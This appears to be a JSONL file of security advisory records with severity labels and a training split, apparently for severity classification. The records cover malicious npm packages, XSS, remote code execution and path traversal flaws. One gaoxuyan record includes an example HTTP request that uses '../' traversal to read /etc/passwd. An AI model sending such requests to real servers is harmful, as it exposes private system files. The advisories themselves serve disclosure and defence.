-{"id": "cb8ae81090971f61d886", "text": "nodemailer.js is malware\n\nThe `nodemailer.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "nodemailer.js is malware\n\n[Severity: HIGH]\n\nThe `nodemailer.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-29", "split": "train"}
-{"id": "402dce53bd29a2c699f4", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1062, CVE-2019-1092, CVE-2019-1103, CVE-2019-1107.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1062, CVE-2019-1092, CVE-2019-1103, CVE-2019-1107.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "0185cd2b40ce6d14b82b", "text": "XSS in Flarum Sticky extension\n\n### Impact\nA change in release beta 14 of the Sticky extension caused the plain text content of the first post of a pinned discussion to be injected as HTML on the discussion list. The issue was discovered following an internal audit.\n\nAny HTML would be injected through Mithril's `m.trust()` helper. This resulted in an HTML injection where `<script>` tags would not be executed. However it was possible to run javascript from other HTML attributes, enabling a cross-site scripting (XSS) attack to be performed.\n\nSince the exploit only happens with the first post of a pinned discussion, an attacker would need the ability to pin their own discussion, or be able to edit a discussion that was previously pinned.\n\nOn forums where all pinned posts are authored by your staff, you can be relatively certain the vulnerability has not been exploited.\n\nForums where some user-created discussions were pinned can look at the first post edit date to find whether the vulnerability might have been exploited. Because Flarum doesn't store the post content history, you cannot be certain if a malicious edit was reverted.\n\n### Patches\nThe fix will be available in version v0.1.0-beta.16 with Flarum beta 16. The fix has already been back-ported to Flarum beta 15 as version v0.1.0-beta.15.1 of the Sticky extension.\n\n### Workarounds\nForum administrators can disable the Sticky extension until they are able to apply the update. The vulnerability cannot be exploited while the extension is disabled.\n\n### References\n\n- [Release announcement](https://discuss.flarum.org/d/26042-security-update-to-flarum-sticky-010-beta151)\n- [Pull Request](https://github.com/flarum/sticky/pull/24)\n\n### For more information\nIf you have any questions or comments about this advisory, please start a new discussion on our [support forum](https://discuss.flarum.org/t/support).\n\nIf you discover a security vulnerability within Flarum, please send an e-mail to [security@flarum.org](mailto:security@flarum.org). All security vulnerabilities will be promptly addressed. More details can be found in our [security policy](https://github.com/flarum/core/security/policy).", "text_raw": "XSS in Flarum Sticky extension\n\n[Severity: MEDIUM]\n\n### Impact\nA change in release beta 14 of the Sticky extension caused the plain text content of the first post of a pinned discussion to be injected as HTML on the discussion list. The issue was discovered following an internal audit.\n\nAny HTML would be injected through Mithril's `m.trust()` helper. This resulted in an HTML injection where `<script>` tags would not be executed. However it was possible to run javascript from other HTML attributes, enabling a cross-site scripting (XSS) attack to be performed.\n\nSince the exploit only happens with the first post of a pinned discussion, an attacker would need the ability to pin their own discussion, or be able to edit a discussion that was previously pinned.\n\nOn forums where all pinned posts are authored by your staff, you can be relatively certain the vulnerability has not been exploited.\n\nForums where some user-created discussions were pinned can look at the first post edit date to find whether the vulnerability might have been exploited. Because Flarum doesn't store the post content history, you cannot be certain if a malicious edit was reverted.\n\n### Patches\nThe fix will be available in version v0.1.0-beta.16 with Flarum beta 16. The fix has already been back-ported to Flarum beta 15 as version v0.1.0-beta.15.1 of the Sticky extension.\n\n### Workarounds\nForum administrators can disable the Sticky extension until they are able to apply the update. The vulnerability cannot be exploited while the extension is disabled.\n\n### References\n\n- [Release announcement](https://discuss.flarum.org/d/26042-security-update-to-flarum-sticky-010-beta151)\n- [Pull Request](https://github.com/flarum/sticky/pull/24)\n\n### For more information\nIf you have any questions or comments about this advisory, please start a new discussion on our [support forum](https://discuss.flarum.org/t/support).\n\nIf you discover a security vulnerability within Flarum, please send an e-mail to [security@flarum.org](mailto:security@flarum.org). All security vulnerabilities will be promptly addressed. More details can be found in our [security policy](https://github.com/flarum/core/security/policy).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-29", "split": "train"}
-{"id": "16979327cabbd44e2696", "text": "Cross-site Scripting in Apache Zeppelin\n\nApache Zeppelin prior to 0.8.0 had a stored XSS issue via Note permissions. Issue reported by \"Josna Joseph\".", "text_raw": "Cross-site Scripting in Apache Zeppelin\n\n[Severity: MEDIUM]\n\nApache Zeppelin prior to 0.8.0 had a stored XSS issue via Note permissions. Issue reported by \"Josna Joseph\".", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-24", "split": "train"}
-{"id": "280139baaf4c08a3ba3e", "text": "XML2Dict XML Entity Expansion Vulnerability\n\nXXE vulnerability in 'XML2Dict' version 0.2.2 allows an attacker to cause a denial of service. The parse function does not properly restrict recursive entity references.", "text_raw": "XML2Dict XML Entity Expansion Vulnerability\n\n[Severity: HIGH]\n\nXXE vulnerability in 'XML2Dict' version 0.2.2 allows an attacker to cause a denial of service. The parse function does not properly restrict recursive entity references.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-02", "split": "train"}
-{"id": "f56785d43798ab2027a6", "text": "Downloads Resources over HTTP in webdriver-launcher\n\nAffected versions of `webdriver-launcher` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `webdriver-launcher`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2011.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in webdriver-launcher\n\n[Severity: HIGH]\n\nAffected versions of `webdriver-launcher` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `webdriver-launcher`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2011.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "9adcc90e8ca20580f9db", "text": "Memory leak in Nanopb\n\n### Impact\nDecoding specifically formed message can leak memory if dynamic allocation is enabled and an oneof field contains a static submessage that contains a dynamic field, and the message being decoded contains the submessage multiple times. This is rare in normal messages, but it is a concern when untrusted data is parsed.\n\n### Patches\nPreliminary patch is [available on git](https://github.com/nanopb/nanopb/commit/edf6dcbffee4d614ac0c2c1b258ab95185bdb6e9) and problem will be patched in versions 0.3.9.7 and 0.4.4 once testing has been completed.\n\n### Workarounds\nFollowing workarounds are available:\n* Set the option `no_unions` for the oneof field. This will generate fields as separate instead of C union, and avoids triggering the problematic code.\n* Set the type of the submessage field inside oneof to `FT_POINTER`. This way the whole submessage will be dynamically allocated and the problematic code is not executed.\n* Use an arena allocator for nanopb, to make sure all memory can be released afterwards.\n\n### References\nBug report: https://github.com/nanopb/nanopb/issues/615\n\n### For more information\nIf you have any questions or comments about this advisory, comment on the bug report linked above.", "text_raw": "Memory leak in Nanopb\n\n[Severity: MEDIUM]\n\n### Impact\nDecoding specifically formed message can leak memory if dynamic allocation is enabled and an oneof field contains a static submessage that contains a dynamic field, and the message being decoded contains the submessage multiple times. This is rare in normal messages, but it is a concern when untrusted data is parsed.\n\n### Patches\nPreliminary patch is [available on git](https://github.com/nanopb/nanopb/commit/edf6dcbffee4d614ac0c2c1b258ab95185bdb6e9) and problem will be patched in versions 0.3.9.7 and 0.4.4 once testing has been completed.\n\n### Workarounds\nFollowing workarounds are available:\n* Set the option `no_unions` for the oneof field. This will generate fields as separate instead of C union, and avoids triggering the problematic code.\n* Set the type of the submessage field inside oneof to `FT_POINTER`. This way the whole submessage will be dynamically allocated and the problematic code is not executed.\n* Use an arena allocator for nanopb, to make sure all memory can be released afterwards.\n\n### References\nBug report: https://github.com/nanopb/nanopb/issues/615\n\n### For more information\nIf you have any questions or comments about this advisory, comment on the bug report linked above.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-11-25", "split": "train"}
-{"id": "aa6b2ae331a64e1cedf3", "text": "Downloads Resources over HTTP in grunt-webdriver-qunit\n\nAffected versions of `grunt-webdriver-qunit` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `grunt-webdriver-qunit`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package author has marked the package as deprecated.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in grunt-webdriver-qunit\n\n[Severity: HIGH]\n\nAffected versions of `grunt-webdriver-qunit` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `grunt-webdriver-qunit`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package author has marked the package as deprecated.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "f2813e5247eccedfbb3f", "text": "SolarWinds Serv-U Remote Code Execution Vulnerability\n\nAffected: SolarWinds Serv-U\n\nSolarWinds Serv-U contains an unspecified memory escape vulnerability which can allow for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SolarWinds Serv-U Remote Code Execution Vulnerability\n\nAffected: SolarWinds Serv-U\n\nSolarWinds Serv-U contains an unspecified memory escape vulnerability which can allow for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "b936b062f165712532f3", "text": "Remote code execution in Apache Commons Configuration\n\nApache Commons Configuration uses a third-party library to parse YAML files which by default allows the instantiation of classes if the YAML includes special statements. Apache Commons Configuration versions 2.2, 2.3, 2.4, 2.5, 2.6 did not change the default settings of this library. So if a YAML file was loaded from an untrusted source, it could therefore load and execute code out of the control of the host application.", "text_raw": "Remote code execution in Apache Commons Configuration\n\n[Severity: CRITICAL]\n\nApache Commons Configuration uses a third-party library to parse YAML files which by default allows the instantiation of classes if the YAML includes special statements. Apache Commons Configuration versions 2.2, 2.3, 2.4, 2.5, 2.6 did not change the default settings of this library. So if a YAML file was loaded from an untrusted source, it could therefore load and execute code out of the control of the host application.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-05-21", "split": "train"}
-{"id": "4d0ca4818fe918f5321e", "text": "RCE vulnerability affecting v1beta3 templates in @backstage/plugin-scaffolder-backend\n\nThe templating library used by the scaffolder backend assumes that templates are trusted which is an undesired property of the scaffolder-backend. This has now been mitigated by sandboxing the template code execution.\n\n### Impact\nA malicious actor with write access to a registered scaffolder template could manipulate the template in a way that allows for remote code execution on the scaffolder-backend instance. This was only exploitable in the template yaml definition itself and not by user input data.\n\n### Patches\nThis is vulnerability is patched in version `0.15.14` of `@backstage/plugin-scaffolder-backend`.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in the [Backstage repository](https://github.com/backstage/backstage)\n* Visit our chat, linked to in [Backstage README](https://github.com/backstage/backstage)", "text_raw": "RCE vulnerability affecting v1beta3 templates in @backstage/plugin-scaffolder-backend\n\n[Severity: HIGH]\n\nThe templating library used by the scaffolder backend assumes that templates are trusted which is an undesired property of the scaffolder-backend. This has now been mitigated by sandboxing the template code execution.\n\n### Impact\nA malicious actor with write access to a registered scaffolder template could manipulate the template in a way that allows for remote code execution on the scaffolder-backend instance. This was only exploitable in the template yaml definition itself and not by user input data.\n\n### Patches\nThis is vulnerability is patched in version `0.15.14` of `@backstage/plugin-scaffolder-backend`.\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in the [Backstage repository](https://github.com/backstage/backstage)\n* Visit our chat, linked to in [Backstage README](https://github.com/backstage/backstage)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-01", "split": "train"}
-{"id": "0d258a7459fadba75937", "text": "Downloads Resources over HTTP in box2d-native\n\nAffected versions of `box2d-native` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `box2d-native`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in box2d-native\n\n[Severity: HIGH]\n\nAffected versions of `box2d-native` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `box2d-native`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "7c3a1a7cbcee82a38d74", "text": "Duplicate Advisory: OS Command Injection in Strapi\n\n### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-9p2w-rmx4-9mw7. This link is maintained to preserve external references.\n\n### Original Description\nThe Strapi framework before 3.0.0-beta.17.8 is vulnerable to Remote Code Execution in the Install and Uninstall Plugin components of the Admin panel, because it does not sanitize the plugin name, and attackers can inject arbitrary shell commands to be executed by the execa function.", "text_raw": "Duplicate Advisory: OS Command Injection in Strapi\n\n[Severity: HIGH]\n\n### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-9p2w-rmx4-9mw7. This link is maintained to preserve external references.\n\n### Original Description\nThe Strapi framework before 3.0.0-beta.17.8 is vulnerable to Remote Code Execution in the Install and Uninstall Plugin components of the Admin panel, because it does not sanitize the plugin name, and attackers can inject arbitrary shell commands to be executed by the execa function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "cc7595eda3d27f000a4f", "text": "Webbynode Code Injection vulnerability\n\nThe message function in `lib/webbynode/notify.rb` in the Webbynode gem 1.0.5.3 and earlier for Ruby allows context-dependent attackers to execute arbitrary commands via shell metacharacters in a growlnotify message.", "text_raw": "Webbynode Code Injection vulnerability\n\n[Severity: HIGH]\n\nThe message function in `lib/webbynode/notify.rb` in the Webbynode gem 1.0.5.3 and earlier for Ruby allows context-dependent attackers to execute arbitrary commands via shell metacharacters in a growlnotify message.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "afd6804ecab7f7e2bdbd", "text": "Cross site scripting in remdex/livehelperchat\n\nlivehelperchat is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "text_raw": "Cross site scripting in remdex/livehelperchat\n\n[Severity: MEDIUM]\n\nlivehelperchat is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "9753a7d1adfb22f50d87", "text": "raspap-webgui in RaspAP 2.6.6 allows attackers to execute commands as root because of the insecure sudoers permissions.\n\nraspap-webgui in RaspAP 2.6.6 allows attackers to execute commands as root because of the insecure sudoers permissions. The www-data account can execute /etc/raspap/hostapd/enablelog.sh as root with no password; however, the www-data account can also overwrite /etc/raspap/hostapd/enablelog.sh with any executable content.", "text_raw": "raspap-webgui in RaspAP 2.6.6 allows attackers to execute commands as root because of the insecure sudoers permissions.\n\n[Severity: HIGH]\n\nraspap-webgui in RaspAP 2.6.6 allows attackers to execute commands as root because of the insecure sudoers permissions. The www-data account can execute /etc/raspap/hostapd/enablelog.sh as root with no password; however, the www-data account can also overwrite /etc/raspap/hostapd/enablelog.sh with any executable content.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "eb27359dfcb9886d1cc0", "text": "Directory Traversal in gaoxuyan\n\nAffected versions of `gaoxuyan` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in gaoxuyan\n\n[Severity: HIGH]\n\nAffected versions of `gaoxuyan` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "d41e81ff49a7f4ab5080", "text": "Native Instruments Guitar Rig 4 Player v4.1.1 Insecure Library Loading Vulnerability", "text_raw": "Native Instruments Guitar Rig 4 Player v4.1.1 Insecure Library Loading Vulnerability\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2010-11-20", "split": "train"}
-{"id": "ebc31f21c4bc3b15a507", "text": "jackson-databind vulnerable to remote code execution due to incorrect deserialization and blocklist bypass\n\nFasterXML jackson-databind through 2.8.10 and 2.9.x through 2.9.3 allows unauthenticated remote code execution because of an incomplete fix for the CVE-2017-7525 deserialization flaw. This is exploitable by sending maliciously crafted JSON input to the readValue method of the ObjectMapper, bypassing a blacklist that is ineffective if the Spring libraries are available in the classpath.", "text_raw": "jackson-databind vulnerable to remote code execution due to incorrect deserialization and blocklist bypass\n\n[Severity: CRITICAL]\n\nFasterXML jackson-databind through 2.8.10 and 2.9.x through 2.9.3 allows unauthenticated remote code execution because of an incomplete fix for the CVE-2017-7525 deserialization flaw. This is exploitable by sending maliciously crafted JSON input to the readValue method of the ObjectMapper, bypassing a blacklist that is ineffective if the Spring libraries are available in the classpath.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "8b4e2fb052ea5ebf03f5", "text": "Cross-Site Scripting in serialize-to-js\n\nVersions of `serialize-to-js` prior to 3.0.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize serialized regular expressions. This vulnerability does not affect Node.js applications.\n\n## Recommendation\n\nUpgrade to version 3.0.1 or later.", "text_raw": "Cross-Site Scripting in serialize-to-js\n\n[Severity: LOW]\n\nVersions of `serialize-to-js` prior to 3.0.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize serialized regular expressions. This vulnerability does not affect Node.js applications.\n\n\n## Recommendation\n\nUpgrade to version 3.0.1 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-12-06", "split": "train"}
-{"id": "4d306a96e995a8928922", "text": "IBM Data Risk Manager Security Bypass Vulnerability\n\nAffected: IBM Data Risk Manager\n\nIBM Data Risk Manager contains a security bypass vulnerability that could allow a remote attacker to bypass security restrictions when configured with SAML authentication. By sending a specially crafted HTTP request, an attacker could exploit this vulnerability to bypass the authentication process and gain full administrative access to the system.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "IBM Data Risk Manager Security Bypass Vulnerability\n\nAffected: IBM Data Risk Manager\n\nIBM Data Risk Manager contains a security bypass vulnerability that could allow a remote attacker to bypass security restrictions when configured with SAML authentication. By sending a specially crafted HTTP request, an attacker could exploit this vulnerability to bypass the authentication process and gain full administrative access to the system.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "da0c492c60f3936a52de", "text": "WFTPD Pro Server 3.30.0.1 (pre auth) Multiple Remote Denial of Service Vulnerabilities", "text_raw": "WFTPD Pro Server 3.30.0.1 (pre auth) Multiple Remote Denial of Service Vulnerabilities\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2009-01-26", "split": "train"}
-{"id": "8b4d06ab6ac4e9565ec4", "text": "Path Traversal in org.springframework:spring-core\n\nSpring Framework, versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported versions, allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). When static resources are served from a file system on Windows (as opposed to the classpath, or the ServletContext), a malicious user can send a request using a specially crafted URL that can lead a directory traversal attack.", "text_raw": "Path Traversal in org.springframework:spring-core\n\n[Severity: MEDIUM]\n\nSpring Framework, versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported versions, allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). When static resources are served from a file system on Windows (as opposed to the classpath, or the ServletContext), a malicious user can send a request using a specially crafted URL that can lead a directory traversal attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "b198b5ca6cfcfd58755d", "text": "dalek-browser-ie-canary downloads Resources over HTTP\n\nAffected versions of `dalek-browser-ie-canary` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `dalek-browser-ie-canary`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package author has marked the package as deprecated.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "dalek-browser-ie-canary downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `dalek-browser-ie-canary` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `dalek-browser-ie-canary`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package author has marked the package as deprecated.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "74d1c918718a987aa030", "text": "Malicious Package in js-sxa3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in js-sxa3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "06d1540652f80f6ba084", "text": "Siemens Desigo PX V6.00 Web Remote Denial of Service Exploit", "text_raw": "Siemens Desigo PX V6.00 Web Remote Denial of Service Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-11-13", "split": "train"}
-{"id": "193b617aa445b718ace2", "text": "XStream is vulnerable to a Remote Command Execution attack\n\n### Impact\nThe vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the Security Framework, you will have to use at least version 1.4.17.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-29505](https://x-stream.github.io/CVE-2021-29505.html).\n\n### Credits\n\nV3geB1rd, white hat hacker from Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Email us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "XStream is vulnerable to a Remote Command Execution attack\n\n[Severity: HIGH]\n\n### Impact\nThe vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the Security Framework, you will have to use at least version 1.4.17.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-29505](https://x-stream.github.io/CVE-2021-29505.html).\n\n### Credits\n\nV3geB1rd, white hat hacker from Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Email us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "d8dd5e6f2a6bb212a1e9", "text": "Malicious Package in buffer-xnr\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffer-xnr\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "de4dea822981b06665c8", "text": "Directory traversal in rollup-plugin-server\n\nThis affects all versions of package rollup-plugin-server. There is no path sanitization in readFile operation performed inside the readFileFromContentBase function.", "text_raw": "Directory traversal in rollup-plugin-server\n\n[Severity: HIGH]\n\nThis affects all versions of package rollup-plugin-server. There is no path sanitization in readFile operation performed inside the readFileFromContentBase function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-29", "split": "train"}
